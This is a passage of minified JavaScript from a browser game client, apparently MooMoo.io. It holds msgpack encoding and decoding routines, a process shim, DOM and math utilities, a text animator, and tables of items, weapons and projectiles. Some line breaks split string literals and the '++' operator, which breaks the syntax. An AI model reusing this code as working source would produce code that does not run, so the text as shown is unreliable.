t[i < 16 ? 144 + i : i <= 65535 ? 220 : 221](e, i);
for (var r = e.codec.encode, s = 0; s < i; s++)
r(e, n[s])
}(e, n);
if (s.isUint64BE(n))
return function(e, n) {
t[207](e, n.toArray())
}(e, n);
if (a.isInt64BE(n))
return function(e, n) {
t[211](e, n.toArray())
}(e, n);
var r = e.codec.getExtPacker(n);
if (r && (n = r(n)),
n instanceof u)
return function(e, n) {
var i = n.buffer
, r = i.length
, s = p[r] || (r < 255 ? 199 : r <= 65535 ? 200 : 201);
t[s](e, r),
h[n.type](e),
e.send(i)
}(e, n);
y(e, n)
}
function v(e, n) {
t[192](e, n)
}
function w(e, n) {
var i = n.length;
t[i < 255 ? 196 : i <= 65535 ? 197 : 198](e, i),
e.send(n)
}
function b(e, n) {
var i = Object.keys(n)
, r = i.length;
t[r < 16 ? 128 + r : r <= 65535 ? 222 : 223](e, r);
var s = e.codec.encode;
i.forEach((function(t) {
s(e, t),
s(e, n[t])
}
))
}
}
}
, function(e, t, n) {
var i = n(4)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE
, o = n(13).uint8
, c = n(0)
, l = c.global
, h = c.hasBuffer && "TYPED_ARRAY_SUPPORT"in l && !l.TYPED_ARRAY_SUPPORT
, u = c.hasBuffer && l.prototype || {};
function f() {
var e = o.slice();
return e[196] = d(196),
e[197] = p(197),
e[198] = g(198),
e[199] = d(199),
e[200] = p(200),
e[201] = g(201),
e[202] = m(202, 4, u.writeFloatBE || v, !0),
e[203] = m(203, 8, u.writeDoubleBE || w, !0),
e[204] = d(204),
e[205] = p(205),
e[206] = g(206),
e[207] = m(207, 8, y),
e[208] = d(208),
e[209] = p(209),
e[210] = g(210),
e[211] = m(211, 8, k),
e[217] = d(217),
e[218] = p(218),
e[219] = g(219),
e[220] = p(220),
e[221] = g(221),
e[222] = p(222),
e[223] = g(223),
e
}
function d(e) {
return function(t, n) {
var i = t.reserve(2)
, r = t.buffer;
r[i++] = e,
r[i] = n
}
}
function p(e) {
return function(t, n) {
var i = t.reserve(3)
, r = t.buffer;
r[i++] = e,
r[i++] = n >>> 8,
r[i] = n
}
}
function g(e) {
return function(t, n) {
var i = t.reserve(5)
, r = t.buffer;
r[i++] = e,
r[i++] = n >>> 24,
r[i++] = n >>> 16,
r[i++] = n >>> 8,
r[i] = n
}
}
function m(e, t, n, i) {
return function(r, s) {
var a = r.reserve(t + 1);
r.buffer[a++] = e,
n.call(r.buffer, s, a, i)
}
}
function y(e, t) {
new s(this,t,e)
}
function k(e, t) {
new a(this,t,e)
}
function v(e, t) {
i.write(this, e, t, !1, 23, 4)
}
function w(e, t) {
i.write(this, e, t, !1, 52, 8)
}
t.getWriteToken = function(e) {
return e && e.uint8array ? function() {
var e = f();
return e[202] = m(202, 4, v),
e[203] = m(203, 8, w),
e
}() : h || c.hasBuffer && e && e.safe ? function() {
var e = o.slice();
return e[196] = m(196, 1, l.prototype.writeUInt8),
e[197] = m(197, 2, l.prototype.writeUInt16BE),
e[198] = m(198, 4, l.prototype.writeUInt32BE),
e[199] = m(199, 1, l.prototype.writeUInt8),
e[200] = m(200, 2, l.prototype.writeUInt16BE),
e[201] = m(201, 4, l.prototype.writeUInt32BE),
e[202] = m(202, 4, l.prototype.writeFloatBE),
e[203] = m(203, 8, l.prototype.writeDoubleBE),
e[204] = m(204, 1, l.prototype.writeUInt8),
e[205] = m(205, 2, l.prototype.writeUInt16BE),
e[206] = m(206, 4, l.prototype.writeUInt32BE),
e[207] = m(207, 8, y),
e[208] = m(208, 1, l.prototype.writeInt8),
e[209] = m(209, 2, l.prototype.writeInt16BE),
e[210] = m(210, 4, l.prototype.writeInt32BE),
e[211] = m(211, 8, k),
e[217] = m(217, 1, l.prototype.writeUInt8),
e[218] = m(218, 2, l.prototype.writeUInt16BE),
e[219] = m(219, 4, l.prototype.writeUInt32BE),
e[220] = m(220, 2, l.prototype.writeUInt16BE),
e[221] = m(221, 4, l.prototype.writeUInt32BE),
e[222] = m(222, 2, l.prototype.writeUInt16BE),
e[223] = m(223, 4, l.prototype.writeUInt32BE),
e
}() : f()
}
}
, function(e, t, n) {
t.setExtUnpackers = function(e) {
e.addExtUnpacker(14, [o, l(Error)]),
e.addExtUnpacker(1, [o, l(EvalError)]),
e.addExtUnpacker(2, [o, l(RangeError)]),
e.addExtUnpacker(3, [o, l(ReferenceError)]),
e.addExtUnpacker(4, [o, l(SyntaxError)]),
e.addExtUnpacker(5, [o, l(TypeError)]),
e.addExtUnpacker(6, [o, l(URIError)]),
e.addExtUnpacker(10, [o, c]),
e.addExtUnpacker(11, [o, h(Boolean)]),
e.addExtUnpacker(12, [o, h(String)]),
e.addExtUnpacker(13, [o, h(Date)]),
e.addExtUnpacker(15, [o, h(Number)]),
"undefined" != typeof Uint8Array && (e.addExtUnpacker(17,
h(Int8Array)),
e.addExtUnpacker(18,
h(Uint8Array)),
e.addExtUnpacker(19, [u,
h(Int16Array)]),
e.addExtUnpacker(20, [u,
h(Uint16Array)]),
e.addExtUnpacker(21, [u,
h(Int32Array)]),
e.addExtUnpacker(22, [u,
h(Uint32Array)]),
e.addExtUnpacker(23, [u,
h(Float32Array)]),
"undefined" != typeof
Float64Array && e.addExtUnpacker(24, [u, h(Float64Array)]),
"undefined" != typeof
Uint8ClampedArray && e.addExtUnpacker(25, h(Uint8ClampedArray)),
e.addExtUnpacker(26, u),
e.addExtUnpacker(29, [u,
h(DataView)])),
r.hasBuffer && e.addExtUnpacker(27, h(s))
}
;
var i, r = n(0), s = r.global, a = {
name: 1,
message: 1,
stack: 1,
columnNumber: 1,
fileName: 1,
lineNumber: 1
};
function o(e) {
return i || (i = n(15).decode),
i(e)
}
function c(e) {
return RegExp.apply(null, e)
}
function l(e) {
return function(t) {
var n = new e;
for (var i in a)
n[i] = t[i];
return n
}
}
function h(e) {
return function(t) {
return new e(t)
}
}
function u(e) {
return new Uint8Array(e).buffer
}
}
, function(e, t, n) {
var i = n(17);
function r(e) {
var t, n = new Array(256);
for (t = 0; t <= 127; t++)
n[t] = s(t);
for (t = 128; t <= 143; t++)
n[t] = o(t - 128, e.map);
for (t = 144; t <= 159; t++)
n[t] = o(t - 144, e.array);
for (t = 160; t <= 191; t++)
n[t] = o(t - 160, e.str);
for (n[192] = s(null),
n[193] = null,
n[194] = s(!1),
n[195] = s(!0),
n[196] = a(e.uint8, e.bin),
n[197] = a(e.uint16, e.bin),
n[198] = a(e.uint32, e.bin),
n[199] = a(e.uint8, e.ext),
n[200] = a(e.uint16, e.ext),
n[201] = a(e.uint32, e.ext),
n[202] = e.float32,
n[203] = e.float64,
n[204] = e.uint8,
n[205] = e.uint16,
n[206] = e.uint32,
n[207] = e.uint64,
n[208] = e.int8,
n[209] = e.int16,
n[210] = e.int32,
n[211] = e.int64,
n[212] = o(1, e.ext),
n[213] = o(2, e.ext),
n[214] = o(4, e.ext),
n[215] = o(8, e.ext),
n[216] = o(16, e.ext),
n[217] = a(e.uint8, e.str),
n[218] = a(e.uint16, e.str),
n[219] = a(e.uint32, e.str),
n[220] = a(e.uint16, e.array),
n[221] = a(e.uint32, e.array),
n[222] = a(e.uint16, e.map),
n[223] = a(e.uint32, e.map),
t = 224; t <= 255; t++)
n[t] = s(t - 256);
return n
}
function s(e) {
return function() {
return e
}
}
function a(e, t) {
return function(n) {
var i = e(n);
return t(n, i)
}
}
function o(e, t) {
return function(n) {
return t(n, e)
}
}
t.getReadToken = function(e) {
var t = i.getReadFormat(e);
return e && e.useraw ? function(e) {
var t, n = r(e).slice();
for (n[217] = n[196],
n[218] = n[197],
n[219] = n[198],
t = 160; t <= 191; t++)
n[t] = o(t - 160, e.bin);
return n
}(t) : r(t)
}
}
, function(e, t, n) {
t.Encoder = s;
var i = n(18)
, r = n(10).EncodeBuffer;
function s(e) {
if (!(this instanceof s))
return new s(e);
r.call(this, e)
}
s.prototype = new r,
i.mixin(s.prototype),
s.prototype.encode = function(e) {
this.write(e),
this.emit("data", this.read())
}
,
s.prototype.end = function(e) {
arguments.length && this.encode(e),
this.flush(),
this.emit("end")
}
}
, function(e, t, n) {
t.Decoder = s;
var i = n(18)
, r = n(16).DecodeBuffer;
function s(e) {
if (!(this instanceof s))
return new s(e);
r.call(this, e)
}
s.prototype = new r,
i.mixin(s.prototype),
s.prototype.decode = function(e) {
arguments.length && this.write(e),
this.flush()
}
,
s.prototype.push = function(e) {
this.emit("data", e)
}
,
s.prototype.end = function(e) {
this.decode(e),
this.emit("end")
}
}
, function(e, t, n) {
n(8),
n(2),
t.createCodec = n(1).createCodec
}
, function(e, t, n) {
n(8),
n(2),
t.codec = {
preset: n(1).preset
}
}
, function(e, t) {
var n, i, r = e.exports = {};
function s() {
throw new Error("setTimeout has not been defined")
}
function a() {
throw new Error("clearTimeout has not been defined")
}
function o(e) {
if (n === setTimeout)
return setTimeout(e, 0);
if ((n === s || !n) && setTimeout)
return n = setTimeout,
setTimeout(e, 0);
try {
return n(e, 0)
} catch (t) {
try {
return n.call(null, e, 0)
} catch (t) {
return n.call(this, e, 0)
}
}
}
!function() {
try {
n = "function" == typeof setTimeout ? setTimeout : s
} catch (e) {
n = s
}
try {
i = "function" == typeof clearTimeout ? clearTimeout : a
} catch (e) {
i = a
}
}();
var c, l = [], h = !1, u = -1;
function f() {
h && c && (h = !1,
c.length ? l = c.concat(l) : u = -1,
l.length && d())
}
function d() {
if (!h) {
var e = o(f);
h = !0;
for (var t = l.length; t; ) {
for (c = l,
l = []; ++u < t; )
c && c[u].run();
u = -1,
t = l.length
}
c = null,
h = !1,
function(e) {
if (i === clearTimeout)
return clearTimeout(e);
if ((i === a || !i) && clearTimeout)
return i = clearTimeout,
clearTimeout(e);
try {
i(e)
} catch (t) {
try {
return i.call(null, e)
} catch (t) {
return i.call(this, e)
}
}
}(e)
}
}
function p(e, t) {
this.fun = e,
this.array = t
}
function g() {}
r.nextTick = function(e) {
var t = new Array(arguments.length - 1);
if (arguments.length > 1)
for (var n = 1; n < arguments.length; n++)
t[n - 1] = arguments[n];
l.push(new p(e,t)),
1 !== l.length || h || o(d)
}
,
p.prototype.run = function() {
this.fun.apply(null, this.array)
}
,
r.title = "browser",
r.browser = !0,
r.env = {},
r.argv = [],
r.version = "",
r.versions = {},
r.on = g,
r.addListener = g,
r.once = g,
r.off = g,
r.removeListener = g,
r.removeAllListeners = g,
r.emit = g,
r.prependListener = g,
r.prependOnceListener = g,
r.listeners = function(e) {
return []
}
,
r.binding = function(e) {
throw new Error("process.binding is not supported")
}
,
r.cwd = function() {
return "/"
}
,
r.chdir = function(e) {
throw new Error("process.chdir is not supported")
}
,
r.umask = function() {
return 0
}
}
, function(e, t) {
var n = Math.abs
, i = (Math.cos,
Math.sin,
Math.pow,
Math.sqrt)
, r = (n = Math.abs,
Math.atan2)
, s = Math.PI;
e.exports.randInt = function(e, t) {
return Math.floor(Math.random() * (t - e + 1)) + e
}
,
e.exports.randFloat = function(e, t) {
return Math.random() * (t - e + 1) + e
}
,
e.exports.lerp = function(e, t, n) {
return e + (t - e) * n
}
,
e.exports.decel = function(e, t) {
return e > 0 ? e = Math.max(0, e - t) : e < 0 && (e = Math.min(0, e +
t)),
e
}
,
e.exports.getDistance = function(e, t, n, r) {
return i((n -= e) * n + (r -= t) * r)
}
,
e.exports.getDirection = function(e, t, n, i) {
return r(t - i, e - n)
}
,
e.exports.getAngleDist = function(e, t) {
var i = n(t - e) % (2 * s);
return i > s ? 2 * s - i : i
}
,
e.exports.isNumber = function(e) {
return "number" == typeof e && !isNaN(e) && isFinite(e)
}
,
e.exports.isString = function(e) {
return e && "string" == typeof e
}
,
e.exports.kFormat = function(e) {
return e > 999 ? (e / 1e3).toFixed(1) + "k" : e
}
,
e.exports.capitalizeFirst = function(e) {
return e.charAt(0).toUpperCase() + e.slice(1)
}
,
e.exports.fixTo = function(e, t) {
return parseFloat(e.toFixed(t))
}
,
e.exports.sortByPoints = function(e, t) {
return parseFloat(t.points) - parseFloat(e.points)
}
,
e.exports.lineInRect = function(e, t, n, i, r, s, a, o) {
var c = r
, l = a;
if (r > a && (c = a,
l = r),
l > n && (l = n),
c < e && (c = e),
c > l)
return !1;
var h = s
, u = o
, f = a - r;
if (Math.abs(f) > 1e-7) {
var d = (o - s) / f
, p = s - d * r;
h = d * c + p,
u = d * l + p
}
if (h > u) {
var g = u;
u = h,
h = g
}
return u > i && (u = i),
h < t && (h = t),
!(h > u)
}
,
e.exports.containsPoint = function(e, t, n) {
var i = e.getBoundingClientRect()
, r = i.left + window.scrollX
, s = i.top + window.scrollY
, a = i.width
, o = i.height;
return t > r && t < r + a && n > s && n < s + o
}
,
e.exports.mousifyTouchEvent = function(e) {
var t = e.changedTouches[0];
e.screenX = t.screenX,
e.screenY = t.screenY,
e.clientX = t.clientX,
e.clientY = t.clientY,
e.pageX = t.pageX,
e.pageY = t.pageY
}
,
e.exports.hookTouchEvents = function(t, n) {
var i = !n
, r = !1;
function s(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
r && (t.onclick && t.onclick(n),
t.onmouseout && t.onmouseout(n),
r = !1)
}
t.addEventListener("touchstart", e.exports.checkTrusted((function(n) {
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
t.onmouseover && t.onmouseover(n),
r = !0
}
)), !1),
t.addEventListener("touchmove", e.exports.checkTrusted((function(n)
{
e.exports.mousifyTouchEvent(n),
window.setUsingTouch(!0),
i && (n.preventDefault(),
n.stopPropagation()),
e.exports.containsPoint(t, n.pageX, n.pageY) ? r ||
(t.onmouseover && t.onmouseover(n),
r = !0) : r
&& (t.onmouseout && t.onmouseout(n),

r = !1)
}
)), !1),
t.addEventListener("touchend", e.exports.checkTrusted(s), !1),
t.addEventListener("touchcancel", e.exports.checkTrusted(s), !1),
t.addEventListener("touchleave", e.exports.checkTrusted(s), !1)
}
,
e.exports.removeAllChildren = function(e) {
for (; e.hasChildNodes(); )
e.removeChild(e.lastChild)
}
,
e.exports.generateElement = function(t) {
var n = document.createElement(t.tag || "div");
function i(e, i) {
t[e] && (n[i] = t[e])
}
for (var r in i("text", "textContent"),
i("html", "innerHTML"),
i("class", "className"),
t) {
switch (r) {
case "tag":
case "text":
case "html":
case "class":
case "style":
case "hookTouch":
case "parent":
case "children":
continue
}
n[r] = t[r]
}
if (n.onclick && (n.onclick = e.exports.checkTrusted(n.onclick)),
n.onmouseover && (n.onmouseover =
e.exports.checkTrusted(n.onmouseover)),
n.onmouseout && (n.onmouseout =
e.exports.checkTrusted(n.onmouseout)),
t.style && (n.style.cssText = t.style),
t.hookTouch && e.exports.hookTouchEvents(n),
t.parent && t.parent.appendChild(n),
t.children)
for (var s = 0; s < t.children.length; s++)
n.appendChild(t.children[s]);
return n
}
,
e.exports.eventIsTrusted = function(e) {
return !e || "boolean" != typeof e.isTrusted || e.isTrusted
}
,
e.exports.checkTrusted = function(t) {
return function(n) {
n && n instanceof Event && e.exports.eventIsTrusted(n) && t(n)
}
}
,
e.exports.randomString = function(e) {
for (var t = "", n =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", i = 0; i < e; i+
+)
t += n.charAt(Math.floor(Math.random() * n.length));
return t
}
,
e.exports.countInArray = function(e, t) {
for (var n = 0, i = 0; i < e.length; i++)
e[i] === t && n++;
return n
}
}
, function (e, t) {
e.exports.AnimText = function () {
this.init = function (e, t, n, i, r, s, a) {
this.x = e, this.y = t, this.color = a, this.scale = n,
this.startScale = this.scale, this.maxScale = 1.5 * n, this.scaleSpeed = .1,
this.speed = .13, this.life = 678, this.text = s,console.log(this.life)
}, this.update = function (e) {
this.life && (this.life -= e, this.y -= this.speed * e,
this.scale += this.scaleSpeed * e, this.scale >= this.maxScale ? (this.scale =
this.maxScale, this.scaleSpeed *= -1) : this.scale <= this.startScale &&
(this.scale = this.startScale, this.scaleSpeed = 0), this.life <= 0 && (this.life =
0))
}, this.render = function (e, t, n) {
e.fillStyle = this.color, e.font = this.scale + "px
Hammersmith One", e.strokeText(this.text, this.x - t, this.y - n),
e.fillText(this.text, this.x - t, this.y - n)
}
}, e.exports.TextManager = function () {
this.texts = [], this.update = function (e, t, n, i) {
t.textBaseline = "middle", t.textAlign = "center";
for (var r = 0; r < this.texts.length; ++r)
this.texts[r].life && (this.texts[r].update(e), this.texts[r].render(t, n, i))
}, this.showText = function (t, n, i, r, s, a, o) {
for (var c, l = 0; l < this.texts.length; ++l)
if (!this.texts[l].life) {
c = this.texts[l];
break
} c || (c = new e.exports.AnimText,
this.texts.push(c)), c.init(t, n, i, r, s, a, o)
}
}
}, function(e, t) {
e.exports = function(e) {
this.sid = e,
this.init = function(e, t, n, i, r, s, a) {
s = s || {},
this.hit = false,
this.sentTo = {},
this.gridLocations = [],
this.active = !0,
this.doUpdate = s.doUpdate,
this.x = e,
this.y = t,
this.dir = n,
this.xWiggle = 0,
this.yWiggle = 0,
this.scale = i,
this.type = r,
this.id = s.id,
this.owner = a,
this.name = s.name,
this.isItem = null != this.id,
this.group = s.group,
this.health = s.health,
this.layer = 2,
null != this.group ? this.layer = this.group.layer : 0 ==
this.type ? this.layer = 3 : 2 == this.type ? this.layer = 0 : 4 == this.type &&
(this.layer = -1),
this.colDiv = s.colDiv || 1,
this.blocker = s.blocker,
this.ignoreCollision = s.ignoreCollision,
this.dontGather = s.dontGather,
this.hideFromEnemy = s.hideFromEnemy,
this.friction = s.friction,
this.projDmg = s.projDmg,
this.dmg = s.dmg,
this.pDmg = s.pDmg,
this.pps = s.pps,
this.zIndex = s.zIndex || 0,
this.turnSpeed = s.turnSpeed,
this.req = s.req,
this.trap = s.trap,
this.healCol = s.healCol,
this.teleport = s.teleport,
this.boostSpeed = s.boostSpeed,
this.projectile = s.projectile,
this.shootRange = s.shootRange,
this.shootRate = s.shootRate,
this.shootCount = this.shootRate,
this.spawnPoint = s.spawnPoint
}
,
this.changeHealth = function(e, t) {
return this.health += e,
this.health <= 0
}
,
this.getScale = function(e, t) {
return e = e || 1,
this.scale * (this.isItem || 2 == this.type || 3 == this.type ||
4 == this.type ? 1 : .6 * e) * (t ? 1 : this.colDiv)
}
,
this.visibleToPlayer = function(e) {
return !this.hideFromEnemy || this.owner && (this.owner == e ||
this.owner.team && e.team == this.owner.team)
}
,
this.update = function(e) {
this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)),
this.yWiggle && (this.yWiggle *= Math.pow(.99, e)),
this.turnSpeed && (this.dir += this.turnSpeed * e))
}
}
}
, function(e, t) {
e.exports.groups = [{
id: 0,
name: "food",
layer: 0
}, {
id: 1,
name: "walls",
place: !0,
limit: 30,
layer: 0
}, {
id: 2,
name: "spikes",
place: !0,
limit: 15,
layer: 0
}, {
id: 3,
name: "mill",
place: !0,
limit: 7,
layer: 1
}, {
id: 4,
name: "mine",
place: !0,
limit: 1,
layer: 0
}, {
id: 5,
name: "trap",
place: !0,
limit: 6,
layer: -1
}, {
id: 6,
name: "booster",
place: !0,
limit: 12,
layer: -1
}, {
id: 7,
name: "turret",
place: !0,
limit: 2,
layer: 1
}, {
id: 8,
name: "watchtower",
place: !0,
limit: 12,
layer: 1
}, {
id: 9,
name: "buff",
place: !0,
limit: 4,
layer: -1
}, {
id: 10,
name: "spawn",
place: !0,
limit: 1,
layer: -1
}, {
id: 11,
name: "sapling",
place: !0,
limit: 2,
layer: 0
}, {
id: 12,
name: "blocker",
place: !0,
limit: 3,
layer: -1
}, {
id: 13,
name: "teleporter",
place: !0,
limit: 2,
layer: -1
}],
t.projectiles = [{
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 25,
speed: 1.6,
scale: 103,
range: 1e3
}, {
indx: 1,
layer: 1,
dmg: 25,
scale: 20
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 35,
speed: 2.5,
scale: 103,
range: 1200
}, {
indx: 0,
layer: 0,
src: "arrow_1",
dmg: 30,
speed: 2,
scale: 103,
range: 1200
}, {
indx: 1,
layer: 1,
dmg: 16,
scale: 20
}, {
indx: 0,
layer: 0,
src: "bullet_1",
dmg: 50,
speed: 3.6,
scale: 160,
range: 1400
}],
t.weapons = [{
id: 0,
type: 0,
name: "tool hammer",
desc: "tool for gathering all resources",
src: "hammer_1",
length: 140,
width: 140,
xOff: -3,
yOff: 18,
dmg: 25,
range: 65,
gather: 1,
speed: 300
}, {
id: 1,
type: 0,
age: 2,
name: "hand axe",
desc: "gathers resources at a higher rate",
src: "axe_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 30,
spdMult: 1,
range: 70,
gather: 2,
speed: 400
}, {
id: 2,
type: 0,
age: 8,
pre: 1,
name: "great axe",
desc: "deal more damage and gather more resources",
src: "great_axe_1",
length: 140,
width: 140,
xOff: -8,
yOff: 25,
dmg: 35,
spdMult: 1,
range: 75,
gather: 4,
speed: 400
}, {
id: 3,
type: 0,
age: 2,
name: "short sword",
desc: "increased attack power but slower move speed",
src: "sword_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 46,
dmg: 35,
spdMult: .85,
range: 110,
gather: 1,
speed: 300
}, {
id: 4,
type: 0,
age: 8,
pre: 3,
name: "katana",
desc: "greater range and damage",
src: "samurai_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 59,
dmg: 40,
spdMult: .8,
range: 118,
gather: 1,
speed: 300
}, {
id: 5,
type: 0,
age: 2,
name: "polearm",
desc: "long range melee weapon",
src: "spear_1",
iPad: 1.3,
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 45,
knock: .2,
spdMult: .82,
range: 142,
gather: 1,
speed: 700
}, {
id: 6,
type: 0,
age: 2,
name: "bat",
desc: "fast long range melee weapon",
src: "bat_1",
iPad: 1.3,
length: 110,
width: 180,
xOff: -8,
yOff: 53,
dmg: 20,
knock: .7,
range: 110,
gather: 1,
speed: 300
}, {
id: 7,
type: 0,
age: 2,
name: "daggers",
desc: "really fast short range weapon",
src: "dagger_1",
iPad: .8,
length: 110,
width: 110,
xOff: 18,
yOff: 0,
dmg: 20,
knock: .1,
range: 65,
gather: 1,
hitSlow: .1,
spdMult: 1.13,
speed: 100
}, {
id: 8,
type: 0,
age: 2,
name: "stick",
desc: "great for gathering but very weak",
src: "stick_1",
length: 140,
width: 140,
xOff: 3,
yOff: 24,
dmg: 1,
spdMult: 1,
range: 70,
gather: 7,
speed: 400
}, {
id: 9,
type: 1,
age: 6,
name: "hunting bow",
desc: "bow used for ranged combat and hunting",
src: "bow_1",
req: ["wood", 4],
length: 120,
width: 120,
xOff: -6,
yOff: 0,
projectile: 0,
spdMult: .75,
speed: 600
}, {
id: 10,
type: 1,
age: 6,
name: "great hammer",
desc: "hammer used for destroying structures",
src: "great_hammer_1",
length: 140,
width: 140,
xOff: -9,
yOff: 25,
dmg: 10,
spdMult: .88,
range: 75,
sDmg: 7.5,
gather: 1,
speed: 400
}, {
id: 11,
type: 1,
age: 6,
name: "wooden shield",
desc: "blocks projectiles and reduces melee damage",
src: "shield_1",
length: 120,
width: 120,
shield: .2,
xOff: 6,
yOff: 0,
spdMult: .7
}, {
id: 12,
type: 1,
age: 8,
pre: 9,
name: "crossbow",
desc: "deals more damage and has greater range",
src: "crossbow_1",
req: ["wood", 5],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 2,
spdMult: .7,
speed: 700
}, {
id: 13,
type: 1,
age: 9,
pre: 12,
name: "repeater crossbow",
desc: "high firerate crossbow with reduced damage",
src: "crossbow_2",
req: ["wood", 10],
aboveHand: !0,
armS: .75,
length: 120,
width: 120,
xOff: -4,
yOff: 0,
projectile: 3,
spdMult: .7,
speed: 230
}, {
id: 14,
type: 1,
age: 6,
name: "mc grabby",
desc: "steals resources from enemies",
src: "grab_1",
length: 130,
width: 210,
xOff: -8,
yOff: 53,
dmg: 0,
steal: 250,
knock: .2,
spdMult: 1.05,
range: 125,
gather: 0,
speed: 700
}, {
id: 15,
type: 1,
age: 9,
pre: 12,
name: "musket",
desc: "slow firerate but high damage and range",
src: "musket_1",
req: ["stone", 10],
aboveHand: !0,
rec: .35,
armS: .6,
hndS: .3,
hndD: 1.6,
length: 205,
width: 205,
xOff: 25,
yOff: 0,
projectile: 5,
hideProjectile: !0,
spdMult: .6,
speed: 1500
}],
e.exports.list = [{
group: e.exports.groups[0],
name: "apple",
desc: "restores 20 health when consumed",
req: ["food", 10],
consume: function(e) {
return e.changeHealth(20, e)
},
scale: 30,
holdOffset: 15
}, {
age: 3,
group: e.exports.groups[0],
name: "cookie",
desc: "restores 40 health when consumed",
req: ["food", 15],
consume: function(e) {
return e.changeHealth(40, e)
},
scale: 27,
holdOffset: 15
}, {
age: 7,
group: e.exports.groups[0],
name: "cheese",
desc: "restores 30 health and another 50 over 5 seconds",
req: ["food", 25],
consume: function(e) {
return !!(e.changeHealth(30, e) || e.health < 100) &&
(e.dmgOverTime.dmg = -10,

e.dmgOverTime.doer = e,
e.dmgOverTime.time = 5,
!0)
},
scale: 27,
holdOffset: 15
}, {
group: e.exports.groups[1],
name: "wood wall",
desc: "provides protection for your village",
req: ["wood", 10],
projDmg: !0,
health: 380,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 3,
group: e.exports.groups[1],
name: "stone wall",
desc: "provides improved protection for your village",
req: ["stone", 25],
health: 900,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
pre: 1,
group: e.exports.groups[1],
name: "castle wall",
desc: "provides powerful protection for your village",
req: ["stone", 35],
health: 1500,
scale: 52,
holdOffset: 20,
placeOffset: -5
}, {
group: e.exports.groups[2],
name: "spikes",
desc: "damages enemies when they touch them",
req: ["wood", 20, "stone", 5],
health: 400,
dmg: 20,
scale: 49,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 5,
group: e.exports.groups[2],
name: "greater spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 10],
health: 500,
dmg: 35,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
pre: 1,
group: e.exports.groups[2],
name: "poison spikes",
desc: "poisons enemies when they touch them",
req: ["wood", 35, "stone", 15],
health: 600,
dmg: 30,
pDmg: 5,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
age: 9,
pre: 2,
group: e.exports.groups[2],
name: "spinning spikes",
desc: "damages enemies when they touch them",
req: ["wood", 30, "stone", 20],
health: 500,
dmg: 45,
turnSpeed: .003,
scale: 52,
spritePadding: -23,
holdOffset: 8,
placeOffset: -5
}, {
group: e.exports.groups[3],
name: "windmill",
desc: "generates gold over time",
req: ["wood", 50, "stone", 10],
health: 400,
pps: 1,
turnSpeed: .0016,
spritePadding: 25,
iconLineMult: 12,
scale: 45,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
pre: 1,
group: e.exports.groups[3],
name: "faster windmill",
desc: "generates more gold over time",
req: ["wood", 60, "stone", 20],
health: 500,
pps: 1.5,
turnSpeed: .0025,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 8,
pre: 1,
group: e.exports.groups[3],
name: "power mill",
desc: "generates more gold over time",
req: ["wood", 100, "stone", 50],
health: 800,
pps: 2,
turnSpeed: .005,
spritePadding: 25,
iconLineMult: 12,
scale: 47,
holdOffset: 20,
placeOffset: 5
}, {
age: 5,
group: e.exports.groups[4],
type: 2,
name: "mine",
desc: "allows you to mine stone",
req: ["wood", 20, "stone", 100],
iconLineMult: 12,
scale: 65,
holdOffset: 20,
placeOffset: 0
}, {
age: 5,
group: e.exports.groups[11],
type: 0,
name: "sapling",
desc: "allows you to farm wood",
req: ["wood", 150],
iconLineMult: 12,
colDiv: .5,
scale: 110,
holdOffset: 50,
placeOffset: -15
}, {
age: 4,
group: e.exports.groups[5],
name: "pit trap",
desc: "pit that traps enemies if they walk over it",
req: ["wood", 30, "stone", 30],
trap: !0,
ignoreCollision: !0,
hideFromEnemy: !0,
health: 500,
colDiv: .2,
scale: 50,
holdOffset: 20,
placeOffset: -5
}, {
age: 4,
group: e.exports.groups[6],
name: "boost pad",
desc: "provides boost when stepped on",
req: ["stone", 20, "wood", 5],
ignoreCollision: !0,
boostSpeed: 1.5,
health: 150,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[7],
doUpdate: !0,
name: "turret",
desc: "defensive structure that shoots at enemies",
req: ["wood", 200, "stone", 150],
health: 800,
projectile: 1,
shootRange: 700,
shootRate: 2200,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[8],
name: "platform",
desc: "platform to shoot over walls and cross over water",
req: ["wood", 20],
ignoreCollision: !0,
zIndex: 1,
health: 300,
scale: 43,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[9],
name: "healing pad",
desc: "standing on it will slowly heal you",
req: ["wood", 30, "food", 10],
ignoreCollision: !0,
healCol: 15,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 9,
group: e.exports.groups[10],
name: "spawn pad",
desc: "you will spawn here when you die but it will dissapear",
req: ["wood", 100, "stone", 100],
health: 400,
ignoreCollision: !0,
spawnPoint: !0,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
age: 7,
group: e.exports.groups[12],
name: "blocker",
desc: "blocks building in radius",
req: ["wood", 30, "stone", 25],
ignoreCollision: !0,
blocker: 300,
health: 400,
colDiv: .7,
scale: 45,
holdOffset: 20,
placeOffset: -5
}, {
